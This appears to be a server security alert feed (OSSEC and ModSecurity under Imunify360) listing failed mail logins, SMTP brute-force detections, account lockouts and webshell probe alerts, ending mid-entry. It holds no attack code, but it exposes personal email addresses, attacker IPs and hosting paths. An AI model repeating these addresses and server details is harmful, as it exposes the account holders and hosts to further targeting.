abuser: 178.178.222.47
country_id: 2017370
description:
2026-01-31 04:08:36 dovecot_login authenticator failed for H=([178.178.222.47]) [178.178.222.47]:48512: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:09:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 04:09:45 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:56024: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:09:47 dovecot_login authenticator failed for H=(QpdgpV6) [185.230.124.69]:53580: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: advisorygroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/advi3535/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:09:23 dovecot_login authenticator failed for H=(QXHlSXMiu) [178.16.54.22]:64745: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.224.169.28
country_id: 6252001
description:
2026-01-31 04:09:23 dovecot_plain authenticator failed for H=c-71-224-169-28.hsd1.pa.comcast.net (andesse) [71.224.169.28]:44130: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:09:02 dovecot_login authenticator failed for H=(ETlvo9uRu) [185.230.124.69]:58717: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:10:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:10:47 dovecot_login authenticator failed for H=(WsEiHuTBj) [178.16.54.22]:59229: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:10:06 dovecot_login authenticator failed for H=(PB6mZ1) [185.230.124.69]:53296: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:10:34 dovecot_login authenticator failed for H=(kpeE5k0h) [193.26.115.228]:60300: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:11:48 dovecot_login authenticator failed for H=(W3CNPpG) [185.230.124.69]:62460: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:11:04 dovecot_login authenticator failed for H=(s2AMKt) [185.230.124.69]:62668: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:11:14 dovecot_login authenticator failed for H=(8q9amaOk) [193.26.115.228]:52892: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:11:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:11:33 dovecot_login authenticator failed for H=(rto8zEm) [178.16.54.22]:59872: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:12:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:12:15 dovecot_login authenticator failed for H=(tb4MNIq) [185.230.124.69]:54767: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:12:11 dovecot_login authenticator failed for H=(AgF9LXYDK4) [193.26.115.228]:55642: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:13:08 dovecot_login authenticator failed for H=(I7OkWAdpT) [185.230.124.69]:62458: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:13:08 dovecot_login authenticator failed for H=(zrN7pE) [193.26.115.228]:58261: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:13:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:13:58 dovecot_login authenticator failed for H=(UPg2m67x) [185.230.124.69]:57094: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:13:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:13:19 dovecot_login authenticator failed for H=(OiyEYsS) [178.16.54.22]:49190: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:14:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:14:44 dovecot_login authenticator failed for H=(TP4gD8) [178.16.54.22]:55657: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:14:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:14:17 dovecot_login authenticator failed for H=(y3JgBLMZv) [185.230.124.69]:59976: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:14:06 dovecot_login authenticator failed for H=(F5BFAoev) [193.26.115.228]:61407: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:15:44 dovecot_login authenticator failed for H=(bmRlQWsV) [185.230.124.69]:64179: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.85.202.86
country_id: 1814991
description:
2026-01-31 04:15:03 dovecot_login authenticator failed for H=([222.85.202.86]) [222.85.202.86]:39500: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:15:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:15:10 dovecot_login authenticator failed for H=(s2fwqLNUCo) [185.230.124.69]:57684: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:15:11 dovecot_login authenticator failed for H=(f68xq5wh2p) [178.16.54.22]:60586: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:15:03 dovecot_login authenticator failed for H=(hTBvETHR) [193.26.115.228]:63668: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.125.122
country_id: 1269750
description:
2026-01-31 04:15:13 dovecot_login authenticator failed for H=([182.95.125.122]) [182.95.125.122]:33134: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:15:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:15:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.82.50.224
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=518721 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:16:25 dovecot_login authenticator failed for H=(itkolKMRV) [178.16.54.22]:65234: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.252.60
country_id: 1210997
description:
2026-01-31 04:16:42 dovecot_login authenticator failed for H=([103.115.252.60]) [103.115.252.60]:36059: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:16:08 dovecot_login authenticator failed for H=(kZGlz4bb) [185.230.124.69]:52939: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-01-31 04:16:24 dovecot_login authenticator failed for H=([182.95.20.55]) [182.95.228.106]:60204: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:16:01 dovecot_login authenticator failed for H=(UHN9Xb4zyb) [193.26.115.228]:50658: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:17:49 dovecot_login authenticator failed for H=(cNifMLs) [185.230.124.69]:54382: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-01-31  4:17:59 10687 [Warning] Aborted connection 10687 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.2
country_id: 1269750
description:
2026-01-31 04:17:04 dovecot_login authenticator failed for H=([125.20.223.161]) [152.52.236.2]:53778: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:17:07 dovecot_login authenticator failed for H=(ktszal7Z) [185.230.124.69]:62625: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:17:17 dovecot_login authenticator failed for H=(A4lDuJoEhW) [193.26.115.228]:59098: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:17:34 dovecot_login authenticator failed for H=(mz1hRMK2hi) [178.16.54.22]:61110: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:17:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.111.6.121
country_id: 1269750
description:
2026-01-31 04:17:12 dovecot_login authenticator failed for H=([103.111.6.121]) [103.111.6.121]:54305: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:17:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.109.200.181
country_id: 1814991
description:
2026-01-31 04:18:40 dovecot_login authenticator failed for H=([223.109.200.181]) [223.109.200.181]:58826: 535 Incorrect authentication data (set_id=editor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:18:03 dovecot_login authenticator failed for H=(APh8f9PtiO) [185.230.124.69]:59112: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:18:07 dovecot_login authenticator failed for H=(NZLXRAY7X) [178.16.54.22]:60843: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:18:14 dovecot_login authenticator failed for H=(BZAj6ki) [193.26.115.228]:61946: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.210
country_id: 1269750
description:
2026-01-31 04:18:26 dovecot_login authenticator failed for H=(nsg-corporate-49.218.186.122.airtel.in) [103.251.31.210]:41224: 535 Incorrect authentication data (set_id=editor@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:18:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:19:51 dovecot_login authenticator failed for H=(9rDjRwnXSZ) [185.230.124.69]:59236: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:19:01 dovecot_login authenticator failed for H=(9y561vH2v) [185.230.124.69]:50449: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:19:03 dovecot_login authenticator failed for H=(l0Ir6RrU3) [178.16.54.22]:65037: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:19:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:19:12 dovecot_login authenticator failed for H=(rakiODCV2n) [193.26.115.228]:64696: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-31 04:20:24 dovecot_plain authenticator failed for H=(miceraly) [91.73.188.251]:45144: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.241.214.127
country_id: 1814991
description:
2026-01-31 04:20:36 dovecot_login authenticator failed for H=([223.241.214.127]) [223.241.214.127]:33548: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:20:13 dovecot_login authenticator failed for H=(WF8eyUVR) [185.230.124.69]:56943: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:20:14 dovecot_login authenticator failed for H=(cNcEz7) [178.16.54.22]:61492: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.213.242
country_id: 3469034
description:
2026-01-31 04:20:56 dovecot_login authenticator failed for H=([200.164.226.113]) [200.149.213.242]:40082: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:20:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:20:09 dovecot_login authenticator failed for H=(vQR7pvg) [193.26.115.228]:52613: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.239.52.100
country_id: 1831722
description:
2026-01-31 04:20:03 dovecot_plain authenticator failed for H=(2wvgd48bd5shcuh63pvn) [103.239.52.100]:37127: 535 Incorrect authentication data (set_id=nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:21:01 dovecot_login authenticator failed for H=(nKb6O8e) [185.230.124.69]:62557: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:21:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:21:15 dovecot_login authenticator failed for H=(qPsCq5sCYg) [178.16.54.22]:62586: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:21:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: mail.empirelog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/empi7862/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:21:06 dovecot_login authenticator failed for H=(7Yp2B3D9) [193.26.115.228]:58499: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.118
country_id: 1269750
description:
2026-01-31 04:21:12 dovecot_login authenticator failed for H=([128.185.243.163]) [182.95.119.118]:35856: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.132.222.237
country_id: 1210997
description:
2026-01-31 04:21:32 dovecot_login authenticator failed for H=([103.132.220.252]) [103.132.222.237]:42556: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:21:52 dovecot_login authenticator failed for H=(h6J8mZqPn) [185.230.124.69]:62102: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:22:16 dovecot_login authenticator failed for H=(kaU5Uv) [178.16.54.22]:55751: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:22:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
country_id: 99237
description:
2026-01-31 04:22:46 dovecot_plain authenticator failed for H=(mentran) [65.20.143.159]:36499: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: mail.empirelog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home2/empi7862/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.138
country_id: 1269750
description:
2026-01-31 04:22:16 dovecot_login authenticator failed for H=([182.95.215.123]) [125.23.183.138]:42336: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:22:18 dovecot_login authenticator failed for H=(AqyEmHGIC) [185.230.124.69]:52927: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.114.149.106
country_id: 1814991
description:
2026-01-31 04:22:26 dovecot_login authenticator failed for H=([124.114.149.106]) [124.114.149.106]:41830: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:22:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home/oxboldc/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.12
country_id: 99237
description:
2026-01-31 04:22:58 dovecot_login authenticator failed for H=([65.20.191.12]) [65.20.191.12]:37690: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:22:03 dovecot_login authenticator failed for H=(e1W1nG) [193.26.115.228]:64506: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-31 04:23:02 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:19209: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:23:06 dovecot_login authenticator failed for H=(vfmxcBR) [178.16.54.22]:63742: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:23:07 dovecot_login authenticator failed for H=(RfXJIkP35f) [185.230.124.69]:58389: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:23:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:23:19 dovecot_login authenticator failed for H=(GWzaAOZRC) [193.26.115.228]:50292: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.40.121.4
country_id: 1643084
description:
2026-01-31 04:23:52 dovecot_login authenticator failed for H=(ip-4.121.40.jogjaringan.net.id) [103.40.121.4]:34334: 535 Incorrect authentication data (set_id=editor@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-01-31 04:23:07 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:49987: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:23:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:23:51 dovecot_login authenticator failed for H=(Cp5BgLLpfn) [185.230.124.69]:64460: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:24:03 dovecot_login authenticator failed for H=(qkkTbt) [178.16.54.22]:64020: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:24:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:24:12 dovecot_login authenticator failed for H=(HthDjYf) [185.230.124.69]:59730: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:24:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:24:16 dovecot_login authenticator failed for H=(OIc78rr1) [193.26.115.228]:61676: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.229.254.207
country_id: 2017370
description:
2026-01-31 04:24:18 dovecot_login authenticator failed for H=([87.229.254.207]) [87.229.254.207]:57336: 535 Incorrect authentication data (set_id=editor)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
